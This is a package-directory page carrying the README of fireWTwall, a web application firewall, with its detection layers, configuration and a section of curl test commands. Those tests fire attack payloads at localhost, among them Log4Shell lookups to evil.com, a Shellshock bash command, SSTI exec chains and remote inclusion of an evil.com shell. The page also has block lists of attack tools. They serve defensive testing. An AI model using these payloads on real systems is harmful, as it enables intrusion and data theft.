PHPackages                             saarors/firewtwall-php - PHPackages - PHPackages  [Skip to content](#main-content)[PHPackages](/)[Directory](/)[Categories](/categories)[Trending](/trending)[Leaderboard](/leaderboard)[Changelog](/changelog)[Analyze](/analyze)[Collections](/collections)[Log in](/login)[Sign up](/register)

1. [Directory](/)
2. /
3. [Database &amp; ORM](/categories/database)
4. /
5. saarors/firewtwall-php

ActiveLibrary[Database &amp; ORM](/categories/database)

saarors/firewtwall-php
======================

Zero-dependency PHP Web Application Firewall — drop-in auto\_prepend\_file middleware

v2.3.2(2mo ago)31↓90.9%MITJavaScriptPHP &gt;=8.0

Since Mar 30Pushed 2mo agoCompare

[ Source](https://github.com/saarors/fireWTwall)[ Packagist](https://packagist.org/packages/saarors/firewtwall-php)[ Docs](https://github.com/saarors/fireWTwall)[ RSS](/packages/saarors-firewtwall-php/feed)WikiDiscussions main Synced 3w ago

READMEChangelog (5)DependenciesVersions (6)Used By (0)

🔥 fireWTwall
============

[](#-firewtwall)

[![npm](https://camo.githubusercontent.com/fe35458b8a4c23dc7115bfffeadb202b71b70197f3fdbc0bf50ab2877a3bb02b/68747470733a2f2f696d672e736869656c64732e696f2f6e706d2f762f66697265777477616c6c)](https://www.npmjs.com/package/firewtwall)[![version](https://camo.githubusercontent.com/7bd8fd542d3d79d67ad20d5fda715f2f43157ac6fd3032cda667bfa21eeba630/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f76657273696f6e2d322e312e302d6f72616e6765)](https://github.com/saarors/fireWTwall/releases)[![License: MIT](https://camo.githubusercontent.com/fdf2982b9f5d7489dcf44570e714e3a15fce6253e0cc6b5aa61a075aac2ff71b/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d4d49542d79656c6c6f772e737667)](LICENSE)[![Node.js](https://camo.githubusercontent.com/7698b5ebae69051c15d0880960f1cf04b9ad6a95029f3ba266f204c3f82cdb3c/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6e6f64652d25334525334431362d627269676874677265656e)](https://nodejs.org)[![Bun](https://camo.githubusercontent.com/cf74ee8db3564d9ab83d78b58146db21d38574e55664fa73c987fa305fab681a/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f62756e2d253345253344312e302e302d666462663164)](https://bun.sh)[![PHP](https://camo.githubusercontent.com/3227442ff3f29381b6165f1a7818606393ac1fa94350bc3da0e8808452e1a207/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f7068702d253345253344382e302d373737424234)](https://www.php.net)[![Packagist](https://camo.githubusercontent.com/09a01e0f006758aa775ba8ed501560f23fdff88a805484a228d76bd0d7015598/68747470733a2f2f696d672e736869656c64732e696f2f7061636b61676973742f762f736161726f72732f66697265777477616c6c2d706870)](https://packagist.org/packages/saarors/firewtwall-php)[![TypeScript](https://camo.githubusercontent.com/52c55ba514744b06953850405a14a327aefda33acb93e824473b2c25e064016f/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f74797065732d696e636c756465642d626c7565)](nodejs/index.d.ts)[![Author](https://camo.githubusercontent.com/37f6f52bdc2921ef12ce15146613afa279dbb8b88b922bf58127bbe8ebb78af8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f617574686f722d736161726f72732d626c7565)](https://github.com/saarors)

> **Designed, built and maintained by [saarors](https://github.com/saarors)**

A production-ready **Web Application Firewall (WAF)** with **zero external runtime dependencies**. Available as an **npm package** for Node.js, Bun, and Express — as a drop-in **PHP auto-prepend file** — and as an **ASP.NET HttpModule** for classic .NET Web Forms / MVC.

VersionRuntimeInstall**Node.js**Node.js &gt;= 16`npm install firewtwall` [![npm](https://camo.githubusercontent.com/fe35458b8a4c23dc7115bfffeadb202b71b70197f3fdbc0bf50ab2877a3bb02b/68747470733a2f2f696d672e736869656c64732e696f2f6e706d2f762f66697265777477616c6c)](https://www.npmjs.com/package/firewtwall)**Bun**Bun &gt;= 1.0.0`bun add firewtwall`**PHP**PHP &gt;= 8.0`composer require saarors/firewtwall-php` [![Packagist](https://camo.githubusercontent.com/09a01e0f006758aa775ba8ed501560f23fdff88a805484a228d76bd0d7015598/68747470733a2f2f696d672e736869656c64732e696f2f7061636b61676973742f762f736161726f72732f66697265777477616c6c2d706870)](https://packagist.org/packages/saarors/firewtwall-php)**ASP.NET**.NET Framework 4.7.2+Copy `aspnet/src/` into your projectAll versions share the same rule sets, detection philosophy, and NDJSON log format.

---

Table of contents
-----------------

[](#table-of-contents)

1. [Protections](#protections)
2. [Node.js &amp; Bun](#nodejs--bun)
    - [Quick start](#quick-start)
    - [Bun runtime](#bun-runtime)
    - [All options](#all-options)
    - [Debug mode](#debug-mode)
    - [Log viewer CLI](#log-viewer-cli)
    - [Redis / multi-process](#redis--multi-process)
    - [Configuration reference](#configuration-reference)
    - [TypeScript](#typescript)
    - [Test commands](#test-commands)
3. [PHP](#php)
    - [Requirements &amp; install](#requirements)
    - [Configuration](#configuration-phpconfigwafconfigphp)
    - [Rate limiter storage](#rate-limiter-storage)
    - [Debug mode (PHP)](#debug-mode-php)
4. [ASP.NET (.aspx)](#aspnet-aspx)
    - [Requirements](#aspnet-requirements)
    - [Installation](#aspnet-installation)
    - [Configuration](#aspnet-configuration)
    - [Debug mode (ASP.NET)](#debug-mode-aspnet)
    - [Test commands (ASP.NET)](#test-commands-aspnet)
5. [Middleware pipeline](#middleware-pipeline)
6. [Log format](#log-format)
7. [Security headers](#security-headers-added-to-every-response)
8. [Project structure](#project-structure)
9. [Important notes](#important-notes)
10. [License &amp; credits](#license)

---

What's new in v2.3.1 — Next-gen original detection layers
---------------------------------------------------------

[](#whats-new-in-v231--next-gen-original-detection-layers)

LayerHow it works📊**Entropy Scanner**Shannon entropy (H = -Σ p·log₂p) on every param — catches shellcode, multi-encoded payloads and base64 bombs with zero signatures🧠**Heuristic Engine**Structural zero-day detection — encoding mix density, bracket nesting depth, keyword-per-char ratio, function chain depth, operator storms, polyglot payloads🔗**Multi-Vector Correlation**Catches attacks **split across 3+ parameters** that are individually harmless but dangerous together🔄**Mutation Tracker**Levenshtein distance tracking per IP — detects payload fuzzing / WAF bypass attempts in real time🏷️**Semantic Type Check**80+ param names with known types — if `id=` contains `` or `page=` contains SQL, it fires⏱️**Request Rhythm**Timing analysis — detects machine-regular bots (stddev &lt; 50ms), burst scanners, and low-and-slow cron scanners🛡️**DDoS Protection**Burst limiter, global flood guard, fingerprint flood, path flood, URL/header size guards, optional tarpitting---

Protections
-----------

[](#protections)

LayerWhat it catchesRules**SQL Injection**UNION SELECT, stacked queries, blind (SLEEP/WAITFOR), EXTRACTVALUE, UPDATEXML, GTID\_SUBSET, EXP(~()), sys schema, CASE WHEN, `@@version`**38****XSS**Script tags, `on*=` handlers, DOM sinks, AngularJS `{{}}`, data URIs, SVG animate, CSS `@import`, `-moz-binding`, meta refresh**29****Path Traversal**`../` sequences, null bytes, PHP wrappers, Windows paths (`C:\`, system32), `/boot/grub`, `.env`, `.git/`, `.ssh/`**18****Command Injection**Shell pipes, PowerShell, wget/curl RCE, Python/Ruby/Perl/PHP/Node CLI, netcat, whoami, env dump**18****SSTI**Jinja2, Twig, FreeMarker, Velocity, Smarty, ERB, OGNL/Struts2, Spring4Shell, Tornado**18****RFI**HTTP/FTP/SMB/expect:// inclusion, log poisoning, `/proc/self/environ` — file-param names only**6****Log4Shell**CVE-2021-44228 — JNDI LDAP/RMI/DNS + all obfuscation variants**6****Shellshock**CVE-2014-6271 — `() { :; };` scanned in every header**2****NoSQL Injection**MongoDB `$ne`, `$gt`, `$where`, `$regex`, `$expr` — params + bracket notation**11****LDAP Injection**Filter bypass, parenthesis injection, null-byte, uid/admin wildcard, hex chars**6****Deserialization**PHP `O:N:`, Java `AC ED 00 05` (base64 + hex), Python pickle, node-serialize RCE**7****SSRF**Private IPs, cloud metadata (169.254.169.254, Azure, GCP), dangerous URI schemes**3****XXE**DOCTYPE, ENTITY SYSTEM/PUBLIC, parameter entities, XInclude — XML bodies only**5****Open Redirect**Absolute URLs or `//` in redirect/return/next/dest params**1****Prototype Pollution**`__proto__`, `constructor.prototype` in query/body/JSON keys**1****CRLF / Header Injection**HTTP response splitting, host-header injection—**Rate Limiting**Sliding-window per IP — configurable window, limit, block duration. Redis-ready—**IP Filter**Blacklist + whitelist with CIDR — IPv4 and IPv6—**Bad Bot Blocking****115+** blocked signatures: sqlmap, nmap, curl, wget, ffuf, nuclei, Metasploit (msf/), python-\*, HTTP clients, libcurl, Postman, Insomnia…—**Automation Detection**Detects suspicious User-Agent patterns (curl, python, perl, ruby, java, libcurl, scrapy, mechanize)—**HTTP Method Filter**Rejects TRACE, CONNECT, and any non-configured verb—**Request Size Limit**`Content-Length` header check + streaming byte guard—**Security Headers**HSTS, CSP, COOP, CORP, COEP, Referrer-Policy, Permissions-Policy, NEL — `X-Powered-By` stripped—**Dual mode:** `mode: 'reject'` blocks · `mode: 'log-only'` audits without blocking *(recommended for first deploy)*

---

Node.js &amp; Bun
-----------------

[](#nodejs--bun)

### Quick start

[](#quick-start)

**npm:**

```
npm install firewtwall
```

**Bun:**

```
bun add firewtwall
```

**Example (works with both):**

```
const express = require('express');
const { createWAF } = require('firewtwall');

const app = express();

// Parse body BEFORE the WAF so it can inspect request data
app.use(express.json());
app.use(express.urlencoded({ extended: true }));

// Mount the WAF — spread the returned middleware array
app.use(...createWAF());

app.get('/', (req, res) => res.json({ ok: true }));
app.listen(3000);
```

---

### Bun runtime

[](#bun-runtime)

fireWTwall fully supports [Bun](https://bun.sh) — a fast JavaScript runtime that's fully compatible with Node.js APIs.

**Run with Bun:**

```
bun example/server.js
```

**Performance benefits:**

- Faster startup than Node.js
- Lower memory footprint
- Identical security protection
- No code changes needed

See [docs/nodejs/bun.md](docs/nodejs/bun.md) for complete Bun documentation.

---

### All options

[](#all-options)

```
const { createWAF, setStore } = require('firewtwall');

app.use(...createWAF({
  mode: 'reject',              // 'reject' | 'log-only'
  rateLimit: {
    windowMs:        60_000,   // 1-minute sliding window
    maxRequests:     100,      // max requests per window per IP
    blockDurationMs: 600_000,  // 10-minute block after violation
  },
  whitelist:      ['127.0.0.1', '10.0.0.0/8'],  // bypass all checks
  blacklist:      ['203.0.113.0/24'],            // always block
  bypassPaths:    ['/health', '/metrics'],       // skip WAF entirely
  trustedProxies: ['172.16.0.1'],               // honour X-Forwarded-For
  logPath:        './logs/waf.log',             // NDJSON log
  responseType:   'json',                       // 'json' | 'html'
  debug:          false,                        // see Debug mode below
}));
```

---

### Debug mode

[](#debug-mode)

```
app.use(...createWAF({ debug: true }));
```

When `debug: true` every request — pass **and** block — is fully traced:

What changesDetail**All requests logged**Every request lands in the NDJSON log with processing time and checks run**X-WAF-\* response headers**Four headers expose the outcome to the caller**Verbose log fields**Raw matched value, decoded value, and exact rule name are included**Response headers in debug mode:**

HeaderExample valuePresent`X-WAF-RequestId``f47ac10b58cc1122`Always`X-WAF-Result``passed` or `blocked`Always`X-WAF-Rule``sql-union-select`Blocked only`X-WAF-Time``0.83ms`Always**Passed request — log entry:**

```
{
  "timestamp": "2026-03-30T10:00:00Z",
  "requestId": "f47ac10b58cc1122",
  "ip": "127.0.0.1",
  "method": "GET",
  "path": "/",
  "result": "passed",
  "processingTimeMs": 0.42,
  "checksRun": 16
}
```

**Blocked request — log entry:**

```
{
  "timestamp": "2026-03-30T10:00:01Z",
  "requestId": "a1b2c3d4e5f6a7b8",
  "ip": "203.0.113.42",
  "method": "GET",
  "path": "/search",
  "result": "blocked",
  "rule": "sql-union-select",
  "matched": "UNION SELECT",
  "decoded": "UNION SELECT",
  "source": "query",
  "severity": "critical",
  "processingTimeMs": 0.83,
  "userAgent": "sqlmap/1.7"
}
```

**Catch nmap in debug mode:**

```
# Fire nmap at your dev server
nmap -sV localhost -p 3000

# See the blocked probe in the log
npx waf-log --blocked --rule nmap
```

> ⚠️ **Never use `debug: true` in production** — it leaks internal rule names to the caller.

---

### Log viewer CLI

[](#log-viewer-cli)

```
# Last 50 entries (default)
npx waf-log

# Last 100 entries from a custom log file
npx waf-log --tail 100 ./logs/waf.log

# Stats — top rules, top IPs, severity breakdown
npx waf-log --stats

# Only blocked requests
npx waf-log --blocked

# Filter by IP or rule (partial match)
npx waf-log --ip 203.0.113.42
npx waf-log --rule sql

# Entries after a timestamp
npx waf-log --since 2026-03-30T00:00:00Z

# Raw NDJSON — pipe-friendly
npx waf-log --json | jq .
```

---

### Redis / multi-process

[](#redis--multi-process)

Replace the built-in in-memory store with any key-value backend:

```
const { createWAF, setStore } = require('firewtwall');
const redis = require('ioredis');

const client = new redis();

setStore({
  get: async (key)        => JSON.parse(await client.get(key) ?? 'null'),
  set: async (key, value) => client.set(key, JSON.stringify(value)),
  del: async (key)        => client.del(key),
});

app.use(...createWAF());
```

---

### Configuration reference

[](#configuration-reference)

KeyDefaultDescription`mode``'reject'``'reject'` blocks · `'log-only'` audits`allowedMethods``['GET','POST','PUT','PATCH','DELETE','OPTIONS','HEAD']`Permitted HTTP verbs`maxBodySize``10485760`Max `Content-Length` in bytes (10 MB)`rateLimit.windowMs``60000`Sliding-window duration in ms`rateLimit.maxRequests``100`Requests allowed per window per IP`rateLimit.blockDurationMs``600000`Block duration after violation`whitelist``[]`IPs / CIDRs that bypass all checks`blacklist``[]`IPs / CIDRs that are always blocked`bypassPaths``['/health','/ping']`Paths that skip all WAF checks`trustedProxies``[]`Enable `X-Forwarded-For` parsing`logPath``'./logs/waf.log'`NDJSON log file path`responseType``'json'`Block response: `'json'` or `'html'``debug``false`Full request tracing + `X-WAF-*` headers---

### TypeScript

[](#typescript)

Types ship with the package — no `@types/` install needed:

```
import { createWAF, setStore, WAFOptions, StoreAdapter } from 'firewtwall';

const opts: WAFOptions = {
  mode: 'reject',
  debug: false,
  blacklist: ['203.0.113.0/24'],
};

app.use(...createWAF(opts));
```

---

### Test commands

[](#test-commands)

```
# SQL injection → 403
curl "http://localhost:3000/?q=1+UNION+SELECT+*+FROM+users"

# XSS → 403
curl "http://localhost:3000/?q=alert(1)"

# Path traversal → 403
curl "http://localhost:3000/?file=../../etc/passwd"

# Command injection → 403
curl "http://localhost:3000/?cmd=|cat+/etc/passwd"

# CRLF injection → 400
curl -H $'X-Header: foo\r\nInjected: bar' http://localhost:3000/

# SSRF — cloud metadata → 403
curl "http://localhost:3000/?url=http://169.254.169.254/latest/meta-data"

# SSRF — private IP → 403
curl "http://localhost:3000/?redirect=http://192.168.1.1/admin"

# XXE — external entity → 403
curl -X POST http://localhost:3000/upload \
  -H "Content-Type: application/xml" \
  -d ']>&xxe;'

# Open redirect → 403
curl "http://localhost:3000/login?returnUrl=//evil.com"

# Prototype pollution → 403
curl "http://localhost:3000/?__proto__[admin]=true"

# Log4Shell (CVE-2021-44228) — scanned in every header → 403
curl -H 'User-Agent: ${jndi:ldap://evil.com/a}' http://localhost:3000/

# Log4Shell obfuscated variant → 403
curl -H 'X-Api-Version: ${${lower:j}ndi:ldap://evil.com/a}' http://localhost:3000/

# Shellshock (CVE-2014-6271) — any header → 403
curl -H 'User-Agent: () { :; }; /bin/bash -c "id"' http://localhost:3000/

# SSTI — Jinja2/Python → 403
curl "http://localhost:3000/?name={{__class__.__mro__}}"

# SSTI — Twig → 403
curl "http://localhost:3000/?tpl={{_self.env.registerUndefinedFilterCallback('exec')}}"

# SSTI — Struts2/OGNL → 403
curl "http://localhost:3000/?redirect=%{#a=new+java.lang.ProcessBuilder({'id'}).start()}"

# Remote file inclusion → 403
curl "http://localhost:3000/?file=http://evil.com/shell.php"

# NoSQL injection — MongoDB $ne → 403
curl "http://localhost:3000/login?user[$ne]=x&pass[$ne]=x"

# NoSQL injection — JSON body → 403
curl -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d '{"user": {"$ne": null}, "pass": {"$ne": null}}'

# LDAP injection → 403
curl "http://localhost:3000/search?user=*)(uid=*))(|(uid=*"

# PHP deserialization → 403
curl "http://localhost:3000/?data=O:8:\"stdClass\":0:{}"

# Java deserialization (base64 magic) → 403
curl "http://localhost:3000/?payload=rO0ABXNy"

# Bad bot (Metasploit) → 403
curl -A "msf/1.0" http://localhost:3000/

# Bad bot (tplmap) → 403
curl -A "tplmap/0.5" http://localhost:3000/

# Clean request → 200
curl http://localhost:3000/
```

---

PHP
---

[](#php)

### Requirements

[](#requirements)

- PHP ≥ 8.0
- APCu extension *(optional but recommended — file-based fallback included)*

### Installation

[](#installation)

**Option A — Composer** (recommended):

[![Packagist](https://camo.githubusercontent.com/09a01e0f006758aa775ba8ed501560f23fdff88a805484a228d76bd0d7015598/68747470733a2f2f696d672e736869656c64732e696f2f7061636b61676973742f762f736161726f72732f66697265777477616c6c2d706870)](https://packagist.org/packages/saarors/firewtwall-php)

```
composer require saarors/firewtwall-php
```

Then load it at the top of your entry point:

```
